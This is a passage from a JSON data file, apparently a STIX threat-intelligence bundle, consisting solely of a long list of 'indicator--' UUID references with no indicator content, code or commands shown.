        "indicator--f3851230-1a07-4593-b418-9906a604837f",
        "indicator--23640a32-a249-44ce-bca9-7e19ecbd5ff9",
        "indicator--d96008d5-e241-4598-9a1f-3c89f81a35a4",
        "indicator--fa89c4ad-da50-4619-8519-31d9f7e0badb",
        "indicator--e5bf9a96-93b6-41be-aa0e-8bbf1a7b2d36",
        "indicator--c6f33ef5-4977-4740-be9a-3eaa05754aab",
        "indicator--8a5574a3-0564-4d03-bdff-583ec6693b1b",
        "indicator--f9942305-f42c-40ca-b5de-131b801632b7",
        "indicator--f137c435-0f3e-4837-ae60-0decd31c3a22",
        "indicator--9808e63e-b082-467a-ad6d-bd2c2960d291",
        "indicator--4e158c28-c5f0-4b35-bf45-a22044d30dbc",
        "indicator--03ee4ae4-fb9a-479a-b62b-5d5c3faae80c",
        "indicator--a88b4c1d-c728-4b85-a4ce-3381ab287511",
        "indicator--3164af43-bd51-405d-8d04-34e0baf8712b",
        "indicator--1344dd12-b415-4525-8b15-d1dd78c49e4f",
        "indicator--806452b8-f01a-462c-be6e-04f730207980",
        "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
        "indicator--cdf369ed-d90c-4234-89d9-62d2939e3675",
        "indicator--3214b52c-a5bc-4045-aa7a-6a6122c458f6",
        "indicator--ef202c98-dc29-4388-ab55-e670f81b3091",
        "indicator--17ae42a3-4286-48fe-9ba9-c061676b04d9",
        "indicator--920fc964-d4fb-44cc-b140-9cceea7ec9f6",
        "indicator--e51d4f90-ff35-4178-8d18-5a82ee66aafe",
        "indicator--6656ed27-4fdc-4ad9-b0ad-8291aa337144",
        "indicator--dca1f7d8-4c40-4de5-897f-0bc77c55e931",
        "indicator--08a086a9-04c2-4e66-80ac-a084c1fd3bd0",
        "indicator--739e669c-26ff-4458-8aa2-a4f56ee49666",
        "indicator--010274b6-72f1-44ea-a0b1-97d7bad7c3d0",
        "indicator--9b1d7a8e-33db-4382-80e0-231634ad8425",
        "indicator--904ff349-5cb8-4e26-a7a8-d339bef9bd15",
        "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
        "indicator--cd22e8fd-3fbb-43c4-b380-d77790e1e599",
        "indicator--ff494f20-1100-4cc3-90a4-454149bcbcaa",
        "indicator--12686d89-9843-4e05-9dc9-036294b22b66",
        "indicator--cd76e93d-48df-4f65-99cb-35b16cf4af8e",
        "indicator--c71a7994-7640-45b5-9752-8e9506c4663e",
        "indicator--af1eb9da-9045-49a7-83ea-879b36e858e0",
        "indicator--cf0845dc-5a2a-4c75-a5c8-1b8c8f72753a",
        "indicator--df90ff55-c511-4ba8-80bd-28c79f0ff286",
        "indicator--9c64f384-d469-4c56-9464-d96b81182296",
        "indicator--0cd6f6b7-c6d3-4177-a6e2-01cb5cd587ce",
        "indicator--64b0efaf-5441-437a-bccf-be21eaa73b7a",
        "indicator--413af945-1597-4f21-8fed-3896f86e0a66",
        "indicator--468230a8-b0e8-4d72-9d14-8c2853f5ae88",
        "indicator--f3937848-59e4-44a9-b026-05e0f3264bdb",
        "indicator--f068c390-4124-4bd3-9d26-4d45859e4f5c",
        "indicator--e4630e55-e413-488f-969b-f4fcbd121af9",
        "indicator--91ddc244-2fdf-4dc6-af85-b3bdc666d6de",
        "indicator--d13b0f30-0add-43ce-b610-38be5b297add",
        "indicator--466f8ff4-49e3-4cf3-a796-86a341e94559",
        "indicator--8d6822f8-4086-4aea-9681-312afed18b34",
        "indicator--9dba9491-63a5-400c-a0b4-dcdf922fe8da",
        "indicator--2846501c-199e-4e48-8dcf-27f0da6d2677",
        "indicator--1c73ad39-156e-48d0-8d6a-05eac2f42f3f",
        "indicator--89a9e00e-23ea-4aad-b612-65983fa3f6a3",
        "indicator--6b622e96-7a80-44df-880f-209e0e416b18",
        "indicator--ec022e7f-a5e6-47b9-ba0c-a4ee76ded02e",
        "indicator--90fffd40-7847-47a7-ae90-cdb8c1acfcc3",
        "indicator--d714e171-0b50-4a05-9cda-fd709e34908f",
        "indicator--be919dd1-d5f7-4092-81eb-c072a31d9ea8",
        "indicator--1c1f6392-9f4d-4cd6-b996-f0617f154ddc",
        "indicator--d11ad4b2-04b9-4435-a8d8-0cb94a7f12ab",
        "indicator--be3aeb4f-25e1-4167-a60e-e78340ff49e8",
        "indicator--876a223d-fa29-4cfb-9455-d3a0e1609705",
        "indicator--ed0e4e90-ba02-428c-95f4-ec50312d7079",
        "indicator--60333988-8e10-4cb8-a56d-534008fcf2cb",
        "indicator--954818b0-3709-4eb1-a90f-d9f001151738",
        "indicator--cc842471-ab17-4f46-a691-455314c91c51",
        "indicator--d810345b-da3f-4f4d-a929-fc8bd5535395",
        "indicator--0b2a6825-5a39-4f8a-8e55-485e1200460e",
        "indicator--3a076cb8-d056-47e4-b14f-182d9c66dee8",
        "indicator--70a2a426-e212-4abc-92e0-0319a71b8164",
        "indicator--f0d23ad6-534e-489f-9ed0-89716170d10f",
        "indicator--ca3097a5-af6a-4dd3-8b32-87b40b3ddf32",
        "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
        "indicator--47e04933-e953-44ef-9af0-ac91d65e3fe4",
        "indicator--67aa28dd-11b5-4003-bc66-efb5d124a14c",
        "indicator--42374d99-4657-41ad-8f18-d7f0f906e46d",
        "indicator--d67bde3e-b928-48e5-bd35-5240d7f2fa0b",
        "indicator--1bcc3664-41d9-42a6-b60e-e69f6e87d993",
        "indicator--3fcf1d52-641e-475b-94f5-1c98a99456b5",
        "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
        "indicator--41fc959d-6fd9-4c55-bbea-6547ad13b462",
        "indicator--a0887600-d43a-4d18-bc33-c28c38adfad5",
        "indicator--73c28dab-c7bb-48d7-ac41-9b61f1f79cfe",
        "indicator--cf218bf4-4708-4710-8b8b-cdcec4c3d093",
        "indicator--bef4c53a-2b69-4e9b-be85-ba19c2837a7e",
        "indicator--59c99aeb-d8e4-43c1-8f4e-edb0a84569df",
        "indicator--168e0427-5501-4904-9841-8468de9698e3",
        "indicator--26585b4b-7b11-4a56-8284-e554529bee0b",
        "indicator--25b420ef-c374-4563-99a5-2f856da6e77e",
        "indicator--9c3e3ba8-e2cd-4010-a2ab-25febee016a8",
        "indicator--a6a170ee-9931-46f2-95a4-40c0382b36e3",
        "indicator--56b60d0c-e779-482c-976c-711287847aad",
        "indicator--f8e29d3e-2647-4f55-bbb5-263cefb096f5",
        "indicator--c3c47010-fa7f-464a-a364-3da2f7ee658f",
        "indicator--348b6c3d-04db-4494-ac9e-99fc2b28c329",
        "indicator--7d0f0853-5efa-49f7-b939-76ef32d34112",
        "indicator--7698d611-efcf-47f1-af49-0353675bf23b",
        "indicator--291c40f9-b293-4e07-b4e3-634881b9681d",
        "indicator--18078ebc-272f-4376-92d4-119e3e0184f4",
        "indicator--897fe569-f9d1-400b-b0ae-2e35791bf228",
        "indicator--1c1a8edd-9909-4bc3-acfa-6e8e6dbe2801",
        "indicator--94c3db39-9d38-42dc-bf4e-72b60d103fc8",
        "indicator--10a9e642-cb52-44aa-8f96-1c3318390fe0",
        "indicator--cd1ec3b7-56ea-43db-a370-592015da0fbc",
        "indicator--9c2acf61-8fd9-4ef1-850b-c52f0be3199b",
        "indicator--ddbb105a-c904-47f8-9af1-f8fa6ea56f66",
        "indicator--619b99ca-4847-4465-99f9-59e6eff1e5d9",
        "indicator--61773a13-dda2-470c-ac77-08307ea2bcb5",
        "indicator--fed3a8d0-5eda-49bd-9e85-c9fb63f1cdc6",
        "indicator--e37b7e20-bf5f-4320-8b7e-da9ee4761146",
        "indicator--f269cd37-229f-43a4-81c3-2f086592a41e",
        "indicator--f28897c2-3499-4767-8220-f58b4cb2d5e8",
        "indicator--59e00fff-6da9-4d06-9fcb-289d50796366",
        "indicator--5750887e-27b7-4383-b571-d2b59cfd8bc6",
        "indicator--7a672bed-dd84-4a2c-b76c-8a1aa227475f",
        "indicator--cb9c5e63-8307-4ab6-a89d-72df457c08e0",
        "indicator--cd8965e3-f297-43f2-8785-bb36b6de0524",
        "indicator--684f405a-c8b5-4650-b600-be7c1f61c921",
        "indicator--781eea01-54ba-4f02-8ed7-f2507c1dea0c",
        "indicator--0c238ea8-ac43-4f4e-918b-b057a2418850",
        "indicator--e069e1d1-0d2b-48bc-b039-d6e8b2eab148",
        "indicator--3a63f8d0-4a10-41e6-820e-2a7a35c3dae3",
        "indicator--3fdcf511-d7c5-4ba5-bf14-9c34f33da699",
        "indicator--9295d8fa-131a-4097-9117-86f609578261",
        "indicator--cb6cdb26-ebc8-4170-a332-38213aaf2045",
        "indicator--0f6a4761-db32-4a79-b75f-80fd28adcb52",
        "indicator--b942e886-d284-4132-bda0-7badba6ba22b",
        "indicator--03926126-7dbc-41a5-abce-eaae0b0c6a27",
        "indicator--62824696-1824-4529-8964-f3b6bae71e23",
        "indicator--bc9bed3a-3ec3-4b56-9986-63580d539067",
        "indicator--f0c785b1-8836-4abb-adf2-dcad007f9307",
        "indicator--3d4aaf52-8b48-4323-aa06-a39a926a6d21",
        "indicator--fa62fdbc-3938-4811-b7c8-079937723d83",
        "indicator--883d7dd7-80d2-4f6d-bc88-f035145f9f78",
        "indicator--06b7348b-da36-4de2-851e-194377c78329",
        "indicator--4eba061c-8d0d-4b82-8024-6f6542b46ff0",
        "indicator--b56fbcfd-b86c-47aa-8bdc-1542d9adadf7",
        "indicator--17ba3b8f-b5fc-49c8-ac05-a68f2599eb84",
        "indicator--8a3a7654-1f83-49fb-9fda-29dccd41b9da",
        "indicator--a0fdb382-b473-47b9-95fa-d4f882419b6d",
        "indicator--4a878276-c0df-4a57-83ca-c23b09c232a6",
        "indicator--e9ef4b2b-a8a6-4ba4-9e9a-df5292eb1cea",
        "indicator--ac40c63c-81b0-4734-a6eb-4552ed87db75",
        "indicator--7b146c66-73e9-4df2-8b1f-ceedeb80b5a9",
        "indicator--0a500bc8-a868-42af-9f7f-f4272fdceaff",
        "indicator--a5e0adb3-a01b-4d36-aa5c-8ae828c62932",
        "indicator--a90d9ee6-0ce5-45cb-b891-d67ed6371d09",
        "indicator--1a83425a-378b-4134-a0fd-efc2c5fa8bca",
        "indicator--91ffb409-c398-4def-8cd7-2af911d9d513",
        "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
        "indicator--e9f0654e-4d13-4011-94e0-7e4840e1dabb",
        "indicator--cb52912a-9610-4c11-9604-248da83a4e4c",
        "indicator--4e0a8ba8-4930-4d7d-9b41-50cfc50583d2",
        "indicator--913d763f-54c5-47fb-bd93-ff1e9a2b637c",
        "indicator--e90494e5-ffef-4a4e-b502-f74053743331",
        "indicator--af6d30c8-e559-4c95-9377-f18248721e4a",
        "indicator--a0053f02-8ea2-4110-9d3b-d2ebf99673b7",
        "indicator--fd0511d1-9cd0-41a7-9917-b4ccf567ffae",
        "indicator--9c6395b0-29a8-40c8-b8ca-41618b5fdb6a",
        "indicator--d9ce354e-0006-4acf-9ebc-f77dae830c26",
        "indicator--e135c39e-8bc1-477e-ba7c-ffda18205b41",
        "indicator--3386bfc8-8c63-4bb7-8964-72f4f12f5819",
        "indicator--db95755d-d326-40d5-a9bb-1f1374e6f9df",
        "indicator--9d1a2e4d-e8b6-4ce1-be0d-b87c4a1df106",
        "indicator--b3eee18e-7e7c-4cc2-9610-95e756fa619e",
        "indicator--98a6b5d1-2d58-422d-af65-b6602bafd5a1",
        "indicator--3796c8bf-8b8e-4ab6-8946-a32571b7e678",
        "indicator--9f9c49da-ca37-4916-b523-f5e49dbd3d1a",
        "indicator--728aefd8-ff19-4ac4-9d12-d66db22351d7",
        "indicator--4f4fe90d-f920-4d2e-9c2b-bed3c61a4657",
        "indicator--7eb225bd-2f91-4e2c-a86f-49ff6fa64a54",
        "indicator--16b7bf2e-5058-4385-a6fe-24b9a7b00957",
        "indicator--300b8ab9-5d70-40d3-8d35-d6712e2ce87f",
        "indicator--237bf5a8-168b-4b3a-8167-7f81f8df985a",
        "indicator--9c788574-cbbc-4169-9dba-1a60cf9c6151",
        "indicator--397ed556-ce20-4552-bf15-ae63b9764ca1",
        "indicator--a178b668-ecb2-422d-9ec1-3a84dbaab095",
        "indicator--65a692c2-8839-480c-b4a6-0086e52e6fa3",
        "indicator--f0b9f036-7a32-4b72-bdaa-f150bdda50c6",
        "indicator--14525891-e61f-43ea-9c2b-e89e447e90cf",
        "indicator--f5247a3e-bb83-4ff4-b32f-d8082f588cfd",
        "indicator--ca70df8c-9786-4d8a-9a2a-71b1c55a316a",
        "indicator--138603ca-3c11-4a70-a4c9-9afd038a7a4e",
        "indicator--68447b95-4a47-4214-9107-cf38b94766b3",
        "indicator--3c5af62f-6296-4544-8a26-ed31b524a6bb",
        "indicator--06d7e3cd-d955-4d89-ad7a-7ad4a2d19816",
        "indicator--f450d3a4-b6a0-461d-9b9f-6902b1ca613f",
        "indicator--0411850e-ac1d-4701-ae00-7ab0205445bd",
        "indicator--bda30e76-4ca5-4ceb-b7f7-5cb849d384f3",
        "indicator--001fdc86-acfc-4256-aadb-bf26823cf0a8",
        "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
        "indicator--b4a5098b-71e6-4c2a-a12e-ded59a005bbc",
        "indicator--a34cccdd-d082-43e5-a9ce-9f337c20742a",
        "indicator--8662ea96-5d4b-42cd-bd0d-808fcf596868",
        "indicator--651f1ca9-f82b-44f1-aaf4-b51926d4d355",
        "indicator--7e938c52-855f-4e68-9a89-6e345f575cae",
        "indicator--b729056c-6009-40e7-a36d-fc289c1cc98c",
        "indicator--c66694d1-0cc3-44ba-bcf8-4449a9a3a720",
        "indicator--23649b7f-548e-4387-8311-743dedecfff9",
        "indicator--4112dcf2-16e0-4473-8ae6-db982d113002",
        "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
        "indicator--4de6387b-6010-44c2-880f-7a93c263c476",
        "indicator--2f3c48fb-4f2c-49af-abf5-5d46dda8800b",
        "indicator--b33aabd2-4b57-44b0-8552-7c34d5fbe241",
        "indicator--f2de1a75-bb98-44d0-8e1d-c3146ac6d6f7",
        "indicator--472ae00a-ffeb-4d88-b48c-27a94109e905",
        "indicator--a7dfb969-a1b6-4906-80d8-4c898702c1d7",
        "indicator--30e29f4a-3924-4d2f-8e35-75e948099395",
        "indicator--16967a94-e8eb-4cc3-884d-90dba1d00159",
        "indicator--f40fdf1b-1968-4ad5-8e6a-16f641d9bac5",
        "indicator--7e39e7d8-7be5-4302-b250-9b3d6ff61a7c",
        "indicator--2b6fdfac-d1c9-4f1c-8561-a320977cc97f",
        "indicator--08acf91c-c26f-4c00-9b61-e389ac125046",
        "indicator--64d690aa-f4ca-4629-9729-370875a83bc8",
        "indicator--1b4b5142-2fde-4399-8066-0492a03ec94d",
        "indicator--c0ea40de-818a-49ca-8b44-3bb99c658dee",
        "indicator--456a7af4-6bb7-4798-a9c1-47ecb235e4d9",
        "indicator--cba64b56-aa0b-4ab6-90da-3c71b7766d16",
        "indicator--9f8b9ee0-e411-400e-b84e-e9429e02c800",
        "indicator--6c02ae26-4160-4d63-bfe2-bd75ec515e6f",
        "indicator--4a424a86-4e3b-4236-838e-95bcfbd53343",
        "indicator--c1d91fbb-55fd-4fa9-acd3-ae4f8a6e1f94",
        "indicator--5277f40c-08a7-4a7f-9c7d-271839e27f62",
        "indicator--99709ffd-100d-45e3-becb-170aef59b4eb",
        "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
        "indicator--5870bde7-36df-428d-8784-2c9ba4d66879",
        "indicator--aaf2996d-945e-4fc6-8c83-138dcd12b2a7",
        "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
        "indicator--952256ef-46ec-448d-9496-d4c814c2ae85",
        "indicator--28d9dd37-8eea-4158-9406-0d71621572c6",
        "indicator--865efc99-1e2e-4aa7-a752-f4e60720b2a3",
        "indicator--e7fd328b-9161-4874-85cc-49f386905403",
        "indicator--c44b48bd-b915-4b18-866c-967d59daf311",
        "indicator--086555f0-c1b3-45b1-80ae-f334d5eefb0f",
        "indicator--a301d534-1a9d-42d7-9292-29f1decc6371",
        "indicator--ec6fec5e-4be4-4659-9792-e48b464016e3",
        "indicator--5bf6dc90-8e57-456e-bc5e-a5f42bf96ef9",
        "indicator--762fb9e2-ee09-4281-946b-b9aaf8419bff",
        "indicator--3ac52f7b-22c7-442c-815f-70aa6a6f0754",
        "indicator--2e3649dc-06eb-49c3-847b-44ba7daac7da",
        "indicator--a5d6850b-3beb-4c2f-9943-0e8c45b667d5",
        "indicator--ad4abe44-eff4-4fca-86b2-8c27a2e1d6bc",
        "indicator--be254104-8f51-4d19-aa16-5ae96dff20d3",
        "indicator--5757d183-1813-412e-8221-32b5d6758a93",
        "indicator--6c8d8da8-f203-4b56-9a7b-8f0a0ebc8303",
        "indicator--f509d3d1-4b75-45c9-bc46-4b6d374bedcd",
        "indicator--5bcc26d2-0807-4150-8d84-6a2b4bfb1b1b",
        "indicator--ae3ecdd0-82fc-49fd-abdf-0fa734959e88",
        "indicator--e2c9e821-f8b1-4258-806b-6a22b8a026a9",
        "indicator--6279e40f-04c5-495d-bb44-9bb01fd02241",
        "indicator--6be5ace5-ee35-4017-acf0-95422be1a181",
        "indicator--351b25e1-e84b-4abc-b905-c4a599132119",
        "indicator--3cb1c391-c37f-468d-8be6-e38d00ee196f",
        "indicator--65c77f35-c7c0-4d35-8c56-4916fafc9d49",
        "indicator--02d442b7-7e18-4f15-8114-6de1d4195b38",
        "indicator--09642eb6-cab4-44fa-9fec-18e8eddf1905",
        "indicator--f51f7929-00cd-44f6-b3ac-0a239c9dc628",
        "indicator--74252049-e145-405e-aba0-2e16a75e0b8d",
        "indicator--777a1894-795d-4664-b42c-3df43247b7bf",
        "indicator--8f62f687-7d7b-4962-98b5-fbe509dfc0fc",
        "indicator--adf5605c-cf67-47eb-b4dc-8bd8b933c3fb",
        "indicator--df151b39-ed21-4e1d-b288-ecd5ba251310",
        "indicator--c9f3b61e-8474-44aa-866a-4324d1b239b8",
        "indicator--a862bd4e-6565-4dfb-822d-5055275c86c9",
        "indicator--174bfe70-f3b5-49b3-a0e8-8226903e312d",
        "indicator--644892c8-fdf7-474a-9992-c3c1fbd698a4",
        "indicator--8d0eaade-a763-4839-8d3f-622e5a3516d3",
        "indicator--7b3f762a-9f29-4dd9-a576-d435d4c3534a",
        "indicator--5db2d87b-57f0-4743-a707-ff9f1c284a6a",
        "indicator--74ac8a79-6f7d-46f1-aa74-0d4e494639a6",
        "indicator--d244f46d-335a-4315-81af-894782fb3d95",
        "indicator--ef61959e-e311-49e4-a7fe-2d3676bcf539",
        "indicator--fa0b515b-0e16-4bfb-85a1-bfe003506a16",
        "indicator--fdb43586-6c0f-4327-9637-73a6a71dc6c4",
        "indicator--532b4fdc-120e-4625-bd62-1b1450247a33",
        "indicator--2693aa1a-5366-4a8a-814e-26022d0c8e37",
        "indicator--58e506a7-8375-4536-a926-224ccc763557",
        "indicator--94cc92e6-0787-41a9-8de0-bc79abd9878d",
        "indicator--f31b3647-b132-4bb6-8cc6-c8b50654540e",
        "indicator--bd72b1ba-dd5d-448d-ab93-4802cd4270d1",
        "indicator--a7d0b327-a054-441a-b3d1-ce3e5412a121",
        "indicator--a8f08f5f-bf69-42b6-8973-cf699ec900a2",
        "indicator--37653414-450a-4eaf-ad87-3ee8a2db647e",
        "indicator--78d642a1-1eb5-42f6-b15b-397ecbdf713f",
        "indicator--cba8180e-b12c-4031-ab4b-63368a49c599",
        "indicator--05c00665-4814-48ff-9b57-c05697a07d28",
        "indicator--1ee1c9b5-3027-45a8-aba8-d91462ba6685",
        "indicator--2a63b1a5-002d-4a38-8924-9ab2e175f8b1",
        "indicator--1a714e0c-1cb6-40f5-b1f9-4ad5aa39e909",
        "indicator--c28bde47-543f-4912-bfc9-5e8eee12595f",
        "indicator--8cdb121b-d1f9-4779-a12d-03eaa7f53da5",
        "indicator--d7b61963-4e35-4847-9abf-df2c43827d69",
        "indicator--2cc466a7-8b4f-4e1f-b85c-84c5b1a2730b",
        "indicator--7fd69e80-e38a-4986-ae83-1f656e2c013a",
        "indicator--14bd10b6-664d-424e-9909-d4f33df6e4b4",
        "indicator--0319f88d-58f1-4d82-bd97-01680c8dd361",
        "indicator--ab3db09a-8627-4a86-85f8-255833a3030c",
        "indicator--c83d8024-8d1b-4b2b-aa11-50361b0ef237",
        "indicator--2d1de9d4-3d57-4d37-8993-83bffd611bbd",
        "indicator--06b768e5-a4cb-4ff2-8b7f-211eef1ac52f",
        "indicator--f055aa5c-d203-432e-9cd2-3f193fa20a04",
        "indicator--dfcf6291-b23e-42cb-88a8-116b1a5664b3",
        "indicator--4ee6a5f4-faeb-4938-8f0f-ef413d5721d5",
        "indicator--33e04d1e-c5dc-401f-8f22-e54e2af0bb34",
        "indicator--f2e1c297-7fb5-466c-a994-4ac4ee7178bd",
        "indicator--4f54a37c-8bec-4d22-9b47-2045fb3fdb4e",
        "indicator--51384afc-78ea-4169-8b17-74346f420fc5",
        "indicator--e9f5cdbc-7146-4c3a-8b31-e2b34e9c1527",
        "indicator--39c8d329-0745-4e30-931a-a0b21d57c969",
        "indicator--28c88443-73ee-4fc8-b08a-7f6af99fd4ff",
        "indicator--45850e2e-282e-4b89-b735-30e6eecebb04",
        "indicator--0f6be9ed-1b0c-4ecd-8b87-cf2e7cd32c15",
        "indicator--0a6573c1-b7cf-4768-a4a9-5cf09684088e",
        "indicator--eab3c334-f0b1-4e43-94d3-7b76f66d5dbe",
        "indicator--8d485ee9-d8ed-4c46-9e38-94fe56fa4c6a",
        "indicator--805e81e5-602e-4061-83b9-f60681a5fee9",
        "indicator--f40b36c6-9f2c-4dc9-bbdd-4c1fd229a705",
        "indicator--79d1f74a-de50-4158-9440-aaab60fbb05d",
        "indicator--097fda30-cf04-4e8f-8751-4aff5e852371",
        "indicator--929543b4-8403-4419-b09d-4696401ca146",
        "indicator--d7bb97f1-6baf-43c4-b4e4-8f4fbf47bc38",
        "indicator--72f1fcd6-87b4-41ea-ba78-6a3363f5a171",
        "indicator--175ef817-efaf-4648-9b1d-910a32ea2b7e",
        "indicator--416b0e3e-deaa-4750-b335-9eb306abdad0",
        "indicator--fc640bac-1367-45dc-8c30-2319e4f5a393",
        "indicator--9137de74-b08c-4b5f-b9fe-dc6aea8846b1",
        "indicator--5708c9b4-a95b-43ac-980c-be3111de5b1f",
        "indicator--ac09bcab-c2d1-4c26-84f5-3a5638dc88c8",
        "indicator--28ccd618-0eaa-4937-87d9-25713cc70c83",
        "indicator--f4dfe12b-affc-4b32-b38c-07f4944feb5f",
        "indicator--bef708f8-fc3f-40e4-a303-eb060bc1986f",
        "indicator--ab497b6c-5b6f-49e0-aa5b-f6965731d426",
        "indicator--9b358dfd-86c3-4182-9db8-74ee70b5d2b6",
        "indicator--75144338-260c-4330-b046-7b03e62120d4",
        "indicator--1c4e3b56-16d5-46da-8cfc-256d68045473",
        "indicator--e6187865-558b-4c45-8875-95d377cbd34f",
        "indicator--b20228c1-4fe0-434e-927d-617a2083112e",
        "indicator--f516eac1-03dd-4c15-90fe-23293ab1d769",
        "indicator--1cedcb6d-de7d-4ffa-943a-c9dd8c510a65",
        "indicator--c770c341-09a7-4017-9a9b-9444e40c971d",
        "indicator--2aaec2df-3711-4015-b6ec-df7311bb0271",
        "indicator--90e30cb3-333b-4819-9218-1e7cd86d8e4a",
        "indicator--6f170d19-b760-4fd6-851c-0901c289fefe",
        "indicator--d563d3ad-2128-4df8-87c1-4577bb672274",
        "indicator--a1079830-f872-4b74-aa78-1aab43bb95b3",
        "indicator--2a46105c-2678-42c1-96db-cadfb474b06e",
        "indicator--3025e2c5-57ee-4117-9bb0-9ea18b7b39d3",
        "indicator--e51bbbd2-a759-4262-9557-43d9ed2c9eb4",
        "indicator--1a12ae29-7c6f-4f98-a50b-3d062c664e97",
        "indicator--1ad700b3-84c8-4578-8fe1-40dfb4507bd8",
        "indicator--9a4c7cb3-b76a-439e-a921-53012bc83a39",
        "indicator--d07f54dc-141d-4740-bdb1-1bcb42b6fa03",
        "indicator--cd2b7ca6-277a-46a9-b546-a7f23d16ca52",
        "indicator--d6d59b67-b8fc-4510-a9aa-8b8bc26dacd9",
        "indicator--c2d7370b-ff37-4079-b44b-f942c85e5a03",
        "indicator--54eaace8-5597-4f34-a197-b227aa71b439",
        "indicator--fe4f85fb-887d-421f-a665-6be6fb095f80",
        "indicator--301beb72-5425-4c63-87ac-bcc95727eb21",
        "indicator--7a20749d-63bb-4cf3-9073-53ac145189ad",
        "indicator--34b0dc3f-b3e7-4934-8f08-95f77f071634",
        "indicator--fe5d4dd3-2bc4-4589-9799-e2d28a742ce9",
        "indicator--1eb5e39e-e01b-49b2-a476-e257e4668bb9",
        "indicator--1d5fb196-7f7e-4456-bce6-963147b1bdc9",
        "indicator--c677b5ce-53c3-446b-b376-69fe0d50555a",
        "indicator--9b632445-d009-4bc8-b7ed-f072a89a8d31",
        "indicator--d24fc3b6-1ed8-4b8d-914d-a9808e3206a9",
        "indicator--6e13fabf-0c70-4630-8231-0d549fc958f5",
        "indicator--9cf8d859-3d0f-4bf8-9dc2-0d7868452006",
        "indicator--b6416fac-3b0d-4e62-8010-e838a27b9b88",
        "indicator--91cbe92a-ef70-4956-b0cd-474c67efbdb2",
        "indicator--414e0f69-41fe-400d-808a-18e45079e5d2",
        "indicator--73f14b5f-32a6-42c1-83d5-ca5accbbe62a",
        "indicator--c5a577d2-22d7-4142-a047-4da3bdd40c29",
        "indicator--fe6e2184-b54b-4d73-bd3f-52100c39024d",
        "indicator--755b8a38-c88b-4d65-8697-11e50d1ac9cf",
        "indicator--a4ce8a10-f3a7-4f8c-90b3-9a5f4a384625",
        "indicator--fc2f47ea-db0e-4f12-8882-62aaba300053",
        "indicator--4c9c63bc-d48b-4b7b-950b-eeecc4a1cb56",
        "indicator--8ab88806-30fd-40a5-afa3-61f9b8ca3d2d",
        "indicator--64c584a1-da7d-4ffd-9297-76d1bd8f22f0",
        "indicator--1ff5f674-68fc-40a0-a83f-df82b146b175",
        "indicator--81f6a8af-ae45-479c-a386-6af1fde3072a",
        "indicator--ab6bd4ac-ee74-4066-adf3-97cee6182d21",
        "indicator--c2ced06f-6695-4f15-aa8b-a10fac539fe9",
        "indicator--7774ef26-37e7-49bd-befa-436cc849bdf1",
        "indicator--19de6201-9d00-4427-af57-b9ab538711bd",
        "indicator--4ab8b129-5e64-4eb3-aa2b-eddf823da1b9",
        "indicator--1ed40aae-dfef-46cd-9852-f9a0a738ffef",
        "indicator--8da6ef2c-7d42-46ec-8d9b-a67ff67f47bd",
        "indicator--897dea0e-3c34-4338-9f39-184ae3002a2f",
        "indicator--2c471da6-17de-4435-9ad9-951d2c52504d",
        "indicator--c8ea483a-a8e9-4ce8-b3c0-627abdeb20bd",
        "indicator--521dbdd8-d8e6-4cd1-a7e8-96efa569ab17",
        "indicator--ebd6a7f1-863d-4721-a6c9-9bc4777120d0",
        "indicator--e85276d7-6649-4c11-94d3-b913b45c0c86",
        "indicator--5f3c0c61-9e13-49a5-8317-d45d2a50a285",
        "indicator--5321b0f8-2721-4b3d-b0d1-6147fad8edc6",
        "indicator--3db2aa93-274f-408a-bf85-d8c82e9e717e",
        "indicator--12369dce-846f-4287-ab34-02993b717d9b",
        "indicator--82705198-7443-44b3-be01-44412a199e1a",
        "indicator--5e4bfd72-8d7d-437e-81ee-14f98b6183c0",
        "indicator--5021a066-1ec6-439d-96ff-5b6bcc2d9bba",
        "indicator--0582523a-d32a-4238-b6e4-bc535c353a8e",
        "indicator--eb54033b-4976-40d4-bd09-408fcf797f13",
        "indicator--15842f4b-6f73-4759-8420-e0464c48dd3a",
        "indicator--8804059b-c560-4db6-862e-9134fe237353",
        "indicator--cb380b92-6390-4bc4-82a6-bfb98738e671",
        "indicator--ad779054-b823-4987-b24f-41361a71c0d2",
        "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
        "indicator--23e6d49c-6a9f-4af5-b924-836c9974b23d",
        "indicator--38a39ab7-ff4b-4458-bf51-6079bba3b605",
        "indicator--0a4c3c83-21ca-475b-8cdb-0c20cd3937d4",
        "indicator--f4df7627-f020-484b-9bbe-46cba31a32dd",
        "indicator--c8eedd66-d6e3-4c35-be0e-f9cb58cf2c28",
        "indicator--8822a065-ca5c-4fae-a28e-98b02eaf9fd9",
        "indicator--3e9c2066-d145-4ddc-873d-839b5e527367",
        "indicator--ab16cb6b-e6a7-4401-8f26-1219e73edc9a",
        "indicator--077a779b-c2a3-408d-9fa1-6587af15f163",
        "indicator--77b4ba99-3dc3-408c-ad05-97a4adc514be",
        "indicator--6a5eedbc-ee4a-4820-8273-a125b415fb91",
        "indicator--00707384-76bb-4ea5-be7c-d934f6740f8d",
        "indicator--91985998-58e5-4223-a58a-8471483d6ccc",
        "indicator--93d3cf1c-4640-4b00-93fc-adf1c26fec0e",
        "indicator--e1405377-ec98-4e7c-9110-e2354db0371e",
        "indicator--3ad3f689-3ac8-419b-baa7-dcf861d48a82",
        "indicator--c7b1ebc7-9370-4e53-98af-7ba418038a0f",
        "indicator--9f3e8a55-a22d-497b-81a6-87117d93ddbd",
        "indicator--7e0fd9c0-b092-40b4-a36e-8af8a86b5d11",
        "indicator--cd5f5944-0356-457d-846a-a79f0d1b8a8c",
        "indicator--e6593d9d-0afa-4886-ad83-cc1c8c9ab352",
        "indicator--c1b28281-b7fc-46ec-85c6-473a5273ac05",
        "indicator--b6fc3f05-9c9a-4cc6-851c-e6b6f42200d0",
        "indicator--a8ff6830-d1d7-4fb1-b967-60eef5ba4f14",
        "indicator--03010327-857c-4481-94fa-19e902fdf1f7",
        "indicator--68ed72c5-9dd5-4156-9a4c-b463a45ca4fc",
        "indicator--3c8d2cbb-5cc4-4470-a705-411c50403f58",
